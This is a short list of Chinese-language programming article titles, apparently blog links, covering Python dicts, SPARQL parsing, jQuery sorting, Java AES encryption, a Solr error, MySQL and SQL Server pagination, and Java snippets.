- Python学习笔记(九)—— Dict
- 如何把一个String类型的sparql语句,解析出一系列triple
- jQuery如何对div进行排序
- JAVA 实现 AES 加密
- solr不能启动,日志报错could not find collectin imgs
- MySQL SQL操作
- SQL SERVER分页存储过程
- 20个非常有用的Java程序片段